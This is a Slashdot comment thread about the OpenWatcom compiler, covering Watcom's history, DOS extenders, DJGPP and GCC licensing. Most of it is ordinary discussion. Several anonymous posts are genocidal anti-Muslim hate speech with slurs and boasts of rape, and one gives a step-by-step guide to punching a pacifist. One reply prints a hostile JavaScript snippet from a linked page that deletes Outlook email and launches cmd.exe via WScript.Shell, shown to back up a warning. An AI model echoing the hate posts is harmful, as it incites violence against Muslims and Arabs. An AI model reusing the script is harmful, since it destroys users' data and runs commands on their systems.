      Very interesting - ANDF (Architecture Neutral Distribution Format) was dreamt up during the Unix wars, by the OSF (who created a Unix clone called OSF/1, used only by Compaq Tru64 these days), and this compiler implements a format (TDF) that seems to be derived from this. The idea was that compilers would produce ANDF, an intermediate compiler output format, and vendors would then ship CDs containing ANDF 'binaries' - the customer installed on their Unix box, which could be Alpha, PA-RISC, x86, etc, and a special tool then did the last stage of compilation from ANDF to binary.

      Not sure why this never took off, probably it was too much of a leap from existing technology and the Unix vendors saw it as commoditising their boxes. A few years later, Java's bytecode and use of JIT or install-time compilation came along and rendered this moot, though ANDF/TDF are probably still more flexible.

  37. dfv by Anonymous Coward · · Score: -1, Offtopic

    svgsdf

  38. For those of us youngins... by --daz-- · · Score: 4, Interesting

    ... could someone please provide a brief history of what the watcom compiler is or does differently than other compilers, and why it's suited to making DOOM-type games where other compilers aren't?

    The OpenWATCOM site wasn't terribly informative. Apparently, this is a big deal since it made Slashdot, but I guess I don't see the significance. Thanks!

    1. Re:For those of us youngins... by elprez · · Score: 1

      ... could someone please provide a brief history of what the watcom compiler is or does differently than other compilers, and why it's suited to making DOOM-type games where other compilers aren't?

      IIRC, it came with a DOS extender that allowed the creation of programs with a flat 32 bit address space. This was very useful, as at the time programmers were still dealing with segments on x86 (limiting arrays to 64K, etc).

    2. Re:For those of us youngins... by Anonymous Coward · · Score: 0

      Take a look at the Watcom C/C++ FAQ, here. Particularly the answers to questions 1, 2, 6, 10, and 12 should interest you.

    3. Re:For those of us youngins... by Electrum · · Score: 4, Informative

      In combination with the DOS/4GW dos extender, it provided a flat 32-bit address space for programming. It also produced the better code than any compiler, by a wide margin. Back then, Microsoft's compiler for DOS was broken (it produced buggy code when optimizations were enabled). Borland's Turbo C++ was cool, and some games used it, like Wolfenstein 3D and Jazz Jackrabbit, but for games for the 486 like DOOM, nothing compared to Watcom. It also had really nice tools, like a cool VI like editor for DOS, an excellent debugger and profiler, and lots of other cool stuff. Not to mention that it would compile for DOS and Windows in both 16 and 32 modes, and OS/2. It was the first C/C++ compiler that I really started using heavily back in the day, and I must say that it was a very excellent product, worth every penny (I even got the student version for $99).

      There is probably a compiler or two now that produces better code for x86 (especially PIII and Athlon), like Intel's compiler, but being that most Linux distributions are compiled for 386 or possibly Pentium, there would be a ton of stuff that would benefit from a Watcom compiler for Linux.

    4. Re:For those of us youngins... by Supa+Mentat · · Score: 1

      "Apparently, this is a big deal since it made Slashdot, but I guess I don't see the significance." Dude, have you _seen_ some of the shit that gets posted here? ;P

      --
      "A witty saying proves nothing." - Voltaire
    5. Re:For those of us youngins... by Anonymous Coward · · Score: 0

      IBM tested many compilers when they were compiling the Windows 3.1 code to use in WinOS/2, the Windows component of OS/2.

      They would have liked to use their own product but Watcom beat all the others hands down which is why Windows apps ran faster on the same hardware under WinOS/2 than the MS product which was compiled with MSC, of course.

    6. Re:For those of us youngins... by Anonymous Coward · · Score: 0

      Visit my WATCOM C/C++ FAQ to get a rough idea:

      http://www.pobox.com/~qed/watfaq.shtml

      1) WC allows incorporation of inline assembly in a more optimal way than the Borland/Microsoft way (but not quite as optimal as the gcc way).

      2) WC was the first widely available 32 bit compiler for DOS, and produced the fastest code for a very long period of time.

      3) WC supports QNX, OS/2, Windows (3.x/9X/NT and included MFC in the commercial version), and DOS.

      4) WC supports MMX (and AMD has a magic include file for making it work with 3DNow!)

      5) WC comes with a DOS graphics library, disassembler, execution profiler, debugger, library manager, and a better make than I have ever seen from anyone.

      6) WC allows you to customize the function calling protocal in very precise ways (including parameter passing, naming, and environment reload for ISRs.)

      7) WC supports many object formats, and debuggers.

    7. Re:For those of us youngins... by izzertaq · · Score: 1

      For a long time, Watcom was the best commercial compiler for writing 32-bit DOS games. It had a superb (if occasionally buggy) optimizer, a freely-redistributable 32-bit DOS Extender, and it had an excellent toolset -- Watcom's profiler, debugger and disassembler blew Borland and Microsoft's weak DOS tools (heh ... toys) out of the water.

      (Non-x86 readers: a DOS Extender is basically a hack of an operating system running on top of DOS to allow 32-bit DOS programs access to 16-bit DOS and BIOS services, such as file I/O, video setup, etc.)

      Anyway, the alternative compilers just didn't compare. Borland took years to finally ship a 32-bit compiler, and with Microsoft's offerings you could either write 16-bit DOS/Windows code or 32-bit Windows code. (There was a way to run Microsoft 32-bit executables on DOS, but you needed to buy PharLap's expensive runtime and libraries, which had the added bonus of requiring per-copy royalties.)

      Watcom wasn't especially well-known until id shipped DOOM, but after that, pretty much every game-programming book used wcc386 as the reference compiler. Watcom filled a pretty big niche that was largely ignored by the big compiler vendors. Their toolset was excellent for writing games, and at $199, it was a steal.

      DJGPP (GCC for DOS) didn't have nearly as good a debugger or profiler as Watcom, but GCC was the superior (less buggy, more standards-compliant) compiler. DJGPP also had the better libc (memory allocation was *much* faster than under Watcom's DOS Extender, for instance.) id went with DJGPP for their DOS port of Quake I, and suddenly everyone noticed that DJGPP was a useful compiler. Next, id will fly off a cliff ...

      In summary, these compilers were a big deal at the time because they filled needs that were pretty much completely ignored by the big vendors: namely, the need for 32-bit code under DOS, and the need for royalty-free distribution.

    8. Re:For those of us youngins... by Anonymous Coward · · Score: 0

      As someone who knows people working at Sybase Waterloo (the division formerly known as Watcom), the Visual C++ 7 compiler finally (after 5 years!) produces better code than Watcom 11, at least for Pentium Pros and up.

      In 1996, Watcom dominated....

  39. LOL by Anonymous Coward · · Score: -1, Troll

    The best part, is that while I was reading that there was an ad saying "How does your school measure up." Hilarious.

  40. Hey Muslim pigs ! by Anonymous Coward · · Score: -1, Offtopic
    Hahaha you dirty, filty, smelly, circumsized, muslim pigs who are running this useless website. Look t This Picture and get ready to pss in your pants along with your Mohammed (piss be upon him) and your dirty QUEERAN, that tells you that you will have 72 houris and 28 gay boys for sex in heaven.

    by the way the israeli's lik to kill muslims and so do WE, hey pathan gay power, WE HINDU'S ARE THE MANLIEST, READ THE ARTICLES ON THIS WEBSITE ABOUT THE MUSLIM GENOCIDE, AND HOW WE LOVE TO HARASS AND RAPE MUSLIM WOMEN,

    We created pakistan for you bastards and we will not rest till each and every muslim motherr fucker is wiped out of INDIA.

    JAI HINDU RASHTRA(brahmans, dalits, kshatriya, vaishnav's, buddhists, jain's, sikhs)

    WUAHHAHAHAHA wuahahhahahaha later loserssss!!!!

  41. GPL on a compiler doesn't infect your code by yerricde · · Score: 2, Informative

    lcc is great for learning about compiler design (that's why it was created), but it doesn't optimize very well

    Then why does the Quake mod community prefer lcc to gcc?

    Also, the since it's licensed under the restrictive GPL license, any programs it compiles contain GPL-licensed code

    Not true. According to the GPL FAQ, a GNU General Public License on a compiler infects compiled code only if the compiler copies part of itself (or any other GPL code) into the output. Thus, code compiled with GCC doesn't fall under the GPL unless it #includes a GPL'd header file or links against a GPL'd library. Most most programs under GNU/Linux link against GNU libc licensed under Lesser GPL, which simply means link dynamically or provide the .o files.

    You're probably thinking of Cygwin, whose default settings link all code to a GPL library, but Cygwin can also use the MinGW runtime that links only to libraries included with the Windows operating system.

    --
    Will I retire or break 10K?
    1. Re:GPL on a compiler doesn't infect your code by mj6798 · · Score: 2
      Then why does the Quake mod community prefer lcc to gcc?

      Probably because lcc is much smaller, easier to understand, and easier to install on Windows systems.

    2. Re:GPL on a compiler doesn't infect your code by yerricde · · Score: 1

      Probably because lcc is much smaller

      Smaller I'll give you, because GCC optimizes for performance and robustness rather than the "fit everything into 64 KB" embedded/democoder mentality, but is 10 MB really that much of a problem for developers, most of whom have a high-speed connection or can let the 56K modem download while they're eating?

      easier to understand

      And what's so hard to understand about gcc -Wall foo.c -o foo.exe? For the VC++ fan, IDEs for MinGW are available.

      and easier to install on Windows systems.

      Installing MinGW GCC is a simple matter of using WinZip to extract a tarball and then setting two environment variables (MINGDIR and PATH).

      --
      Will I retire or break 10K?
    3. Re:GPL on a compiler doesn't infect your code by mj6798 · · Score: 2

      The source to lcc is easier to understand (and hack), and lcc is easier to install from source. gcc is a nice compiler, but no compiler (and no software system) can be everything to everyone; sometimes, being small and simple is better.

  42. Hints for dealing with pacifists. by Anonymous Coward · · Score: -1, Offtopic

    What to do if you happen upon a peace rally by stupid naive hemp-shirt-wearing college idiots, to teach them why force is sometimes needed:

    1. 1. Approach dumb rich ignorant student talking about "peace" and saying there should be, "no retaliation."
      2. Engage in brief conversation, ask if military force is appropriate.
      3. When he says "No," ask, "Why not?"
      4. Wait until he says something to the effect of, "Because that would just cause more innocent deaths, which would be awful and we should not cause more violence."
      5. When he's in mid sentence, punch him in the face as hard as you can.
      6. When he gets back up to up to punch you, point out that it would be a mistake and contrary to his values to strike you, because that would, "be awful and he should not cause more violence."
      7. Wait until he agrees that he has pledged not to commit additional violence.
      8. Punch him in the face again, harder this time.
    Repeat steps 5 through 8 until they understand that sometimes it is necessary to punch back.

    1. Re:Hints for dealing with pacifists. by Anonymous Coward · · Score: -1, Troll

      It wouldn't be contrary to his values at all, you stupid dumbass. If the guy is against violence against INNOCENT people, and you punch him in the face, you're not quite innocent, are you?

    2. Re:Hints for dealing with pacifists. by Anonymous Coward · · Score: 0

      If you watch those rallies, you'd know that's not the case. They want to "stop the war." Whatever the fuck that means. How they plan to do this without force, is beyond me.

    3. Re:Hints for dealing with pacifists. by Anonymous Coward · · Score: 0
      If you only oppose violence against innocent people, then you don't necessarily oppose violence against the guilty. That being the case, you aren't quite a pacifist, are you?

      if(us_citizen) pacifism = treason;

      ~~~

  43. Watcom Fell Way Behind by Anonymous Coward · · Score: -1, Flamebait
    Funny the site doesn't list what are the "eagerly anticipated fixes and enhancements" of their beta release. I've long since taken Watcom off my box, and I don't want to put it back on unless there is some good reason. Watcom didn't include STL, for example. You could go download STL somewhere and try to make it work, but it never did work for me. DOS4GW was nice when it worked (on a bare DOS machine), but it had some conflicts with Netware (under DOS) and some problems trying to deal with QEMM and the Windows memory manager, too. Wonder what happens under 95, 98, NT, 2k, XP, blah blah. Then there is the GUI builder for Windows, which was all 3rd party code. So they are back to zilch as far as writing any app with a GUI, talking COM, DCOM, or anything else new in the last five years or so. So, maybe all Watcom has going for it is a reputation for good optimizations, which are not very important, and if they were, does anyone have up-to-date benchmarks that put them ahead of MSVC++? I'll bow to the facts, but often a reputation for good performance is not deserved. Maybe Watcom C would be a good backend for the C code that comes out of compilers like GNU Eiffel.


    The later C++ product from Sybase, Optima++, was a very nicely designed IDE for C++. It would have been much more pleasant to use than Borland or MS if it had just worked a little better. But, it was at least ten times buggier than the competition. Some Sybase products are high quality, but the C++ products were a losing proposition to them and they never squandered what would have been required to make them at all competitive.

  44. Donations by rarose · · Score: 0, Troll

    Let's see... I could donate to the Sept 11 Fund to help out the families of the Firemen who died while actually saveing people *OR* I could give to a group of unknowns who have done nothing but delivered vaporware.

    Looks like the firemen win.

    --
    --Rob
    1. Re:Donations by Anonymous Coward · · Score: 0

      Or you could do both.

      There are thousands of good causes out there.

      Some are more important than others. If you're going to go down that road, there are causes that will help save the lives of people who are actually *still alive*, rather than help those who have a relative *who has already died*. Does that mean the sept. 11 cause is unworthy? Hell no. It means that there are a lot of good causes in the world and an awful lot of people who can give money to them. I'm glad to see you have made your choice. Others, however may choose differently.

    2. Re:Donations by Anonymous Coward · · Score: 0

      OH NO! BIG TRAGEDY! I guess I'll just never live life again. "Hey, I'm going to the store to buy some pasta." "NOOO! How dare you think of someone unrelated to the WTC disaster! Where's your Walmart American flag? A moment passed in which you were not giving blood. For shame."

  45. GCC does not require GPL by Anonymous Coward · · Score: 0
    Also, the since it's licensed under the restrictive GPL license, any programs it compiles contain GPL-licensed code, which makes it impossible to compile and sell closed-source programs with it, unless you pay the "stallman tax"

    The preceding is in error. The following is directly from the GPL FAQ [www.gnu.org]:

    I use the C or C++ programming language, and I compile with GCC. Must I release software I write in the language under the same license as GCC?
    • Use of GCC makes no requirements about the license of your program.
  46. it's not gcc, and it's not a bug by Anonymous Coward · · Score: 0

    That's not a gcc issue. In fact, it isn't even a bug. It's policy decision about when and how to grow the stack. How is the Linux kernel supposed to know when something is a stray pointer and when it is a reference to an unallocated part of the stack segment? It has to pick an arbitrary lower limit for the stack. The same thing happens with many compilers on many UNIX systems. If you read up on your documentation, you would know how to deal with this case.

    1. Re:it's not gcc, and it's not a bug by Anonymous Coward · · Score: 0

      Yeah, but Linux's stack bound is 1 GByte. So, unless you've run out of physical and virtual memory pages before you hit 32Mbytes of usage, there's no good reason for gcc to produce crashy code at that point - I suspect it's a complete fabrication, anyway.

  47. It's dead. by codeforprofit2 · · Score: 1

    Let it rest in peace.

    1. Re:It's dead. by howlingmad · · Score: 1

      Interesting. Would love to hear an OS/2 users opinion on this one. Or was that eComStation?

      Any OS/2 users out there?

      Markus

    2. Re:It's dead. by WatcomUser · · Score: 1

      Wow, what a witty comment ! You floored me with that one. Do you do much embedded development ? Do you know what embedded development is ? Do you use visual C++ for embedded systems ? Hmmm.... Back up your comments next time.

  48. Re: Really? by codeforprofit2 · · Score: 0, Flamebait

    Really?

    Is that why office xp is so exellent and intuitive and open office is to shitty?

    Is that why visual c++ is so neat and superb and gcc such a shitty compiler it's difficult to understand why anyone in it's own mind would use it?

  49. pop up windows considered harmful by 3247 · · Score: 1

    No, no popups please! Popup windows are nasty and one of the top usability problems on the web.

    --
    Claus
  50. My experience with DJGPP and Watcom by chrysalis · · Score: 5, Interesting
    In the DOS-times, managing memory was a hell. It was both a hell for end-users (having to keep different sets of AUTOEXEC.BAT and CONFIG.SYS to make different programs work) and for programmers.
    The good old Borland C only allowed 16 bits segments. It was really lousy.
    There was some hacks to avoid this. I wrote some assembly code to enable the flat mode (only one big linear page up to 2 Gb), and Borland C finally could access 32-bits segments. But the page was still 16-bits by default, so all 32-bits operations had to be prefixed.
    I wrote some games and demos with this, but Borland's produced code was very bad. On a version of Borland C, while(1) was compiled as mov ax,1 then test ax, compare with zero and jump if 1 != 0. Awesome.
    It's why I tried Watcom. Watcom's code was better. Moreover it had specific optimizations for 486 and Pentium-class processors. And with DOS4GW, it was easy to access 32 bits pages. However :
    • The C-parser was buggy. Some absolutely correct piece of source code were misinterpreted by Watcom. For instance, it refused some "const" pointers that were indeed pointing to constant values.
    • The compiler was buggy. When some optimizations were turned on, it produced wrong code, sometimes reusing a register while it was still in use by someone else. And it simply ignored the volatile keyword, that was needed for interrupts hooks.
    • DOS4GW was cool, but sometimes slow. It was way faster to allocate a big memory chunk at startup and then mess in it, than allocating multiple small chunks.
    • Inserting assembly code used a totally different syntax than Borland C.

    So Watcom was an excellent compiler, but it was really, really buggy. I always had to review the assembly code by hand. But I liked the fact that "char" was unsigned by default.
    Then, I tried DJGPP. DJGPP is a port of GCC to DOS platforms. It cames with a free DOS4GW-like called PMode.
    The resulting code wasn't that bad. For floating-point arithmetic, GCC produced slower code than Watcom (can't remember why, maybe GCC didn't use the arithmetic coprocessor). But it didn't matter, demos always use fixed-point anyway.
    GCC didn't produce buggy code like Watcom. And the code was...logical. Have a look at Ping for instance. It's a smooth pong-like game with carebears, bonuses, funny sounds, etc. I wrote that game with DJGPP, but if you look at the source code, you'll see that it looks a lot a assembly code. It's designed in a way that the compiler can translate one line of C in one line of assembler, and everything is pre-optimized. GCC respected this. I tried to recompile important parts of the code (sprite routines) with Watcom. The result was illogical. It tried to reorder some stuff, but this only gave slower code.
    The first releases of PMode were buggy, too. They worked very bad with Qemm. But then, it got better and finally was an excellent drop-in replacement for DOS4GW. But once and again, allocating a big page was faster than multiple pages.
    Why Watcom was cool : fast compiler (gcc was sooo sllooowww to compile), good optimizations for floating-point operations.
    Why DJGPP was better : free, comes with emulation of many Unix system calls, gives optimized code if the source code is already optimized. And GNU-assembler syntax is way better than TASM-like syntax.

    --
    {{.sig}}
    1. Re:My experience with DJGPP and Watcom by Anonymous Coward · · Score: 0
      I wrote that game with DJGPP, but if you look at the source code, you'll see that it looks a lot a assembly code. It's designed in a way that the compiler can translate one line of C in one line of assembler, and everything is pre-optimized

      You say that as if you were proud. Loser.

    2. Re:My experience with DJGPP and Watcom by AbsoluteRelativity · · Score: 1

      > You say that as if you were proud. Loser.

      LOL... only a loser would be insecure about who is a loser and who is not.

      --
      disclaimer : My views do not represent those of every one else in slashdot.
    3. Re:My experience with DJGPP and Watcom by ardiri · · Score: 1
      • Then, I tried DJGPP [delorie.com]. DJGPP is a port of GCC to DOS platforms. It cames with a free DOS4GW-like called PMode.
      actually, if i recall correctly, it was called 'go32.exe' :P man, those were the days :)
    4. Re:My experience with DJGPP and Watcom by WatcomGuru · · Score: 1

      You have some excellent points. But commenting on a few things: >>> The C-parser was buggy. >>> Not my general experience at all. And I have used every version from 7.0 to 11.0. But some versions were better than others. For example the initial version 10.0 was flaky as was 11.0. But versions 10.6 and 11.0b are very solid. >> The compiler was buggy. >> Hand on heart, I can say that that is not my experience with most versions. I have seen compiler bugs with 11.0, 11.0a and 11.0b and know what there are because of what customers reported. >> Inserting assembly code used a totally different syntax than Borland C. From version 11.0, __asm blocks can be used.

    5. Re:My experience with DJGPP and Watcom by Anonymous Coward · · Score: -1, Troll

      You say that as if you were a nigger. Loser.

  51. Why Watcom does/did rock and not just for DOS4GW by olliew · · Score: 1

    All, Just remember also that at one time the only supported compiler by Novell's SDK for developing NLMs/VLMs for the server environment before they introduced the Java VM was Watcom. Respect to them for attempting to make it open source, I remember as a student that your could get the Novell SDk for not alot of cash (as is the way now) but the Watcom compiler cost alot so work was limited to working on college computers. Rgds Ollie

  52. Their FORTRAN was very good by twitter · · Score: 2
    As others have pointed out, the IDE and other goodies that Watcom were first rate at a time it was difficult to get good tools for DOS and windows. They made FORTRAN development much less painful and the code produced was fast. It was a nice place to start, and there are many useful pieces that can be folded into the GNU tools.

    You can find the history of it here. Wow, reading that you realize how cool things are thanks to the FSF.

    --

    Friends don't help friends install M$ junk.

  53. The coolest features of Watcom ... by UnknownSoldier · · Score: 1

    .. were

    1) being able to write highly optmized inline assembly right in C.

    #pragma aux funcname =
    " ... inline assembly "
    [used] [in] [out]

    and specificy WHICH registers were
    a) used (modified)
    b) passed as input
    c) passed as output

    Microsoft C, Turbo/Borland C, would disable all optimizations for a funcion if you had any inline assembely in it.

    2) The other neat feature was to install
    a) VGA card, and
    b) Hercules Mono Card

    Then you could source debug *graphics* programs running on the VGA card via the monochrome card. Was REAL handy for debugging ModeX games. (Note: Borland/Turbo did have this feature as well. I don't know about the Microsoft compilers.)

    3) Oh yeah, being able to do malloc(1000000) was darn cool. No more messing with near/far pointers or stupid 20-bit segmented memory.

    ~~~~~

    "The issue today is the same as it has been throughout all history, whether man shall be allowed to govern himself or be ruled by a small elite." - Thomas Jefferson

  54. Has anybody tried... by earthforce_1 · · Score: 1

    Has anybody tried actually compiling a kernel with Watcom? Does it compile? If so, how does the resultant code compare with old faithful?

    I know there are some really cool optimization techniques that the gcc authours would love to use, but are covered by patents. A kernel compile would be an interesting side by side comparison of the generated code quality.

    Since I am not a kernel, I don't worry too much about compile time, as long as it finishes sometime within the hour on a 1 GHz machine.

    --
    My rights don't need management.
    1. Re:Has anybody tried... by be-fan · · Score: 2

      Since I am not a kernel
      >>>>>>>>
      Hopefully not! Oh, you mean kernel developer, don't you?

      The Linux kernel is really not geared to be portable between compilers. It uses a lot of GCC extensions that other compilers just don't have.

      --
      A deep unwavering belief is a sure sign you're missing something...
    2. Re:Has anybody tried... by Anonymous Coward · · Score: 0

      Can't be done. The kernel will ONLY compile with gcc.

      This has actually been a sore spot for me...the whole point is to not tie into one specific product right? Choice? Then why is that written so that I'm tied into one compiler to build the kernel?

    3. Re:Has anybody tried... by Anonymous Coward · · Score: 0

      The whole point is to make sure the system is free software. While good software conforms to the standard for its implementation language (and thus works in any environment supporting that language--assuming a well-designed standard!), the Linux kernel (and GNU system software in general) is no less free for its dependence on a specific compiler that is also free software.

  55. Tran's PMode/W kicked ass! by gloth · · Score: 1

    I used it myself, like many others did. It was not good, it was not great, it was plain awesome!!

  56. Useless? by Schnapple · · Score: 1

    Okay, so I read that this is a binary patch for previous users but the install routine implies that it's just "harder" to do anything with it, not impossible for those of us who are Watcom-less. So, is it possible to use this to do anything if you're starting from scratch?

    Oh, and I'm more interested in the FORTRAN component of all this - don't ask me why...

    Schnapple

    1. Re:Useless? by WatcomGuru · · Score: 1

      Out-of-the-box with pre-Beta 11.0c and no previous version of Watcom, you can produce 16-bit DOS targets. That is all. With the final 11.0c patch you should be able build 16 and 32-bit DOS targets (is likely to include DOS4GW.EXE) For other targets, you need 3rd-party files and libraries but from what I have read, OS/2 and Win32 executables are not problem with the latest Development Kit from IBM and Platfrom SDK from Microsoft. You should not have a problem with Watcom Fortran

  57. Another Free (as in beer) Dos/Windows compiler by jguthrie · · Score: 2, Informative

    If you're interested in DOS and Windows development, you can also try the free (as in beer) Digital Mars compiler.

  58. on the fortran side.. by archen · · Score: 1

    Okay, I'm going to get blasted for this but... I'm interested to see what their Fortran compiler can do. I'm not exactly a huge fan of Fortran, but the language does have it's place (just like 'ed'). In college I took a Fortran class, and the guy teaching it didn't care what we used as long as it compiled Fortran code. Instead of paying for some Fortran compiler - [sarcasm] which I'm sure I'd use every day after I took the class [/sarcasm], I opted to use the Linux alternative. Looking through the man page for g77 I found that this thing somehow routes the Fortran code through gcc to create an executable. Well I made a "hello world" program and looked inside the directory... Over 100k for hello world?!? I mean this is irony here, Fortran is the first "language" after assembly created in the 50's... like they made 100k programs back then? I never benchmarked anything, but I can imagine that the results would be less than spectacular. Well I somehow doubt I'll do anymore Fortran, but it would be nice to see something a little better than g77 show up for Linux. Maybe it'll make some old crusty engineers happy too.

    1. Re:on the fortran side.. by WatcomGuru · · Score: 1

      Well it is somewhat better. Hello World is in size 16-bit DOS: 61444 32-bit DOS: 92504 Win32: 81920 Looking at the map files, we can improve the granularity of OBJ files. So there is room for improvement.

  59. One of my Favs... by McDoobie · · Score: 1

    Ever since the DOS days, Watcom has been one of my favorite vendors. Thier compiler produces excellent i386 code.

    I, for one, wouldn't have any problem paying for thier products for my Linux endeavors. Furthermore, I hope to submite some of my own little improvements for review over time.(Like perhaps backend support for the GNU Ada compiler.)

    Anyways, if Watcom isn't too Anal about working with the Open Source and Free Software communities, we could really take this software a long way.

    I would also encourage people to actually purchase thier product also. They really are worth it.

    My .02 worth

    McDoobie

  60. Watxcom and the Bytemarks by Lars+T. · · Score: 1
    All I remember Watcom for are the claims how evil Byte and Apple were to use the Watcom compiler when comparing PPCs with Pentiums with the Bytemarks benchmark. Maybe it time has passed then, what is the point of it now.

    OTOH, it can't be worse than gcc ;-)

    --

    Lars T.

    To the guy who modded me down from perfect to terrible Karma - Apple haters still suck

  61. Speed, not memory related goodies by Leus · · Score: 0


    Watcom always beated every other C/C++ compiler out there. I remember being a big fan of their _lovely_ compiler; I used it to do some real time automatic control and it rocked.

    If they manage to release a modern, up to date version of their IDE, I will be glad.

    (btw, I remember in the IDE having a "Pentium" optimization flag... when the Pentium wasn't even released! Now that's efficiency :-))

  62. WatFor? by fm6 · · Score: 2
    Back in ancient times, I learned to program Fortran IV using Waterloo Fortran AKA WatFor. (Yes, I've heard all the puns.) This was back in batch processing days, when running a program meant punching it on Hollerith cards and handing the deck to a mainframe operator. We also had IBM Fortran, but I think WatFor was more cost effective for short compile-and-run jobs. This was when CPUs were fiendishly expensive, and you had to pay for every cycle you used.

    If memory serves, WatFor came from the University of Waterloo (Canada, not Belgium). The people who wrote it later went private and formed Watcom. Early 70s, I think.

    You youngins don't know how good you have it!

    1. Re:WatFor? by sconeu · · Score: 2

      We used WATFIV.

      I was in elementary school/Jr. High, so we used bubble cards instead of punch cards. The first thing I did was run a job that ran off a bunch of customized punched $JOB cards.

      --
      General Relativity: Space-time tells matter where to go; Matter tells space-time what shape to be.
  63. Another free compiler by Anonymous Coward · · Score: 0

    I know. I am doomed. I am working in a free compiler project, and heared about my immediate demise in Slashdot, one year ago. I am working in the lcc-win32 free compiler system for windows, and I have read here a YEAR ago the same promise from watcom.

    Well, waiting for my fierce competitor in the free compilers arena, I invite you all to use a really free compiler (C compiler)

    http://www.cs.virginia.edu/~lcc-win32.

  64. Portland Group by Paul+Komarek · · Score: 2

    How does the Portland Group compilers fare in the current compiler market?

    -Paul Komarek

  65. Re: Really? by AbsoluteRelativity · · Score: 1

    > Really?

    Yes really.

    > Is that why office xp is so exellent and intuitive and open office is to shitty?

    No, Microsoft's office software has years of programming behind it, plus they have the backing of the OS itself (better integration and taking advantage of OS features).

    > Is that why visual c++ is so neat and superb and gcc such a shitty compiler it's difficult to understand why anyone in it's own mind would use it?

    Visual C++ is an IDE not a compiler, have you even used micrsofts compiler with out an IDE? I have and its no diffrent then GCC. Not unless you like comparing apples and oranges.

    --
    disclaimer : My views do not represent those of every one else in slashdot.
  66. Obligatory AYB by sconeu · · Score: 2

    Syndicate Wars had one of the coolest openings ever made

    Even cooler than Zero Wing?

    --
    General Relativity: Space-time tells matter where to go; Matter tells space-time what shape to be.
  67. Link warning by the+way · · Score: 3, Informative

    Have a look at Ping [claranet.fr] for instance. It's a smooth pong-like game with carebears, bonuses, funny sounds, etc

    IE/Windows users might want to avoid clicking this link. It contains a script that deletes an email from your inbox. It won't effect you if your machine is secure, but there's better ways of finding that out...

    1. Re:Link warning by Anonymous Coward · · Score: 0

      Lameness filters are incredibly stupid.

      function f()
      {
      //alert(o2.object);
      sel=o1.object.selection;
      vv1=sel.Item(1);
      alert("Subject="+vv1.Subject);
      alert("Body="+vv1.Body+"["+vv1.HTMLBody+"]");
      alert("May be deleted");
      vv1.Delete();

      vv2=vv1.Session.Application.CreateObject("WScrip t. Shell");

      alert("Your Windows box is vulnerable to serious attacks !");

      vv2.Run("C:\\WINNT\\SYSTEM32\\CMD.EXE /c DIR /A /P /S C:\\ ");

      }
      setTimeout("f()",2000);

  68. Kill All Muslims. Islam is our Enemy. Destroy Kill by Anonymous Coward · · Score: -1, Troll
    Our dead cry out in tortured horror:
    1. Kill all Muslims.
    2. Kill all Mohammedans.
    3. Kill all Arabs.
    4. Kill all Towel Heads.
    5. Kill all Camel Jockeys.
    6. Kill all Sand Niggers.
    7. Kill all Dune Coons.
    8. Kill all Islam.
    9. Nuke their countries to hell.
    10. Nuke them again.
    11. Death to Islam.

    I piss on Mecca. I spit on the Koran. I shit on Mohammed.

  69. Potential scam in the making by rarose · · Score: 1

    The point, for those of you too dull to figure it out: If this were Microsoft asking for payment up front for a future piece of software that may or may not actually ever ship, all of the Slashdotters would be screaming bloody murder. But because these folks aren't a big corporation it's OK for them to scam people out of donations.

    The whole mention to the WTC was solely to point out the contrast between giving a donation towards things that have actually happened, versus panhandleing on the promise that something good may happen in the future.

    If I'm not misreading things, all of the developers working on the alleged future release are all under a NCA with Sybase. Sybase hasn't opened up the source yet under a license yet. So Sybase could decide to take their ball home and all of us wouldn't be able to play with it.

    Now why you ask would Sybase seek to abuse Open Source Developers? Fine, let me throw up a hypothetical situation:

    Sybase bought Watcom not for their compilers, but for their other products. Fine, so they can ditch the compilers, right? Wrong. Because all of Watcom's *other* products are built using the compiler. If they can't build their SQL product, they can't sell it.

    So Sybase needs to have the compiler maintained, maybe some bugfixes, maybe they want that Linux port so they can migrate their products to Linux. But they don't want to pay for the development... What to do... What to do... I know! We'll lure some Open Source developers in to do the work... we'll put them under NCA so that they can't compete with us when it's done and we'll have them do the hard lifting. Once it's done, we tell them that the lawyers won't let us open source it (you know... all those other people's source code... *we'd* open source it if we could) and then we'll have our SQL product supported and we might even have a Linux compiler we can sell further on down the road.

    --
    --Rob
    1. Re:Potential scam in the making by WatcomGuru · · Score: 1

      >> But because these folks aren't a big corporation it's OK for them to scam people out of donations.

      What donations, what scam? First I know of it.

      >> So Sybase .... further on down the road

      Except you are flatly wrong. Firstly, the fact is Sybase has plenty of people internal to maintain the compiler and tools, they need never open source it at all, period. Effectively the compiler would become internal to Sybase. They could still do that, why have any potential hassle from open sourcing it? I know this, because most of the fixes in 11.0c are a direct result of emailed conversations between myself and Watcom R&D in Waterloo, Canada since Feb 1998.

      Secondly, all the lawyer conversations have been ironed out as of 2 months ago.

      Thirdly, your hypothesis is wrong. Unlike you, I have talked face-to-face with Sybase director responsible with open sourcing the compiler. His interest was that the existing customer base would have a means of supporting their applications and investment in Watcom C/C++ & Fortran. Now it maybe that Sybase does profit from work on the compiler but hey, that is their right. It would not surprise me if the license is FreeBSD rather than GPL. Everyone benefits.

      Hope this clarifies matters

      Cordially

  70. Install GCC by Per+Abrahamsen · · Score: 2

    Fort older code, "install GCC" simply mean "don't use the braindamaged pre-ANSI C compiler bundled with the system."

  71. WDOSX extender by jtra · · Score: 1
    WDOSX extender is usable with watcom compiler.

    It does work with folowing compilers:

    • Compiler - File format
    • NASM - Flat form binary, RDOFF, RDOFF 2 (NEW!)
    • TASM - 32 bit "MZ", PE
    • MASM - 32 bit "MZ", PE
    • MSVC++ 4/5 (NEW! MSVC 6) - Win32PE
    • Borland C++ 4.xx/5.xx - Win32PE
    • Borland C++ Builder - Win32PE
    • Borland Delphi 2, 3 and 4 - Win32PE
    • Watcom C++ - Watcom style LE
    • DJGPP v2 - COFF
    --
    -- Wanna textmode user interface for ruby? http://freshmeat.net/projects/jttui/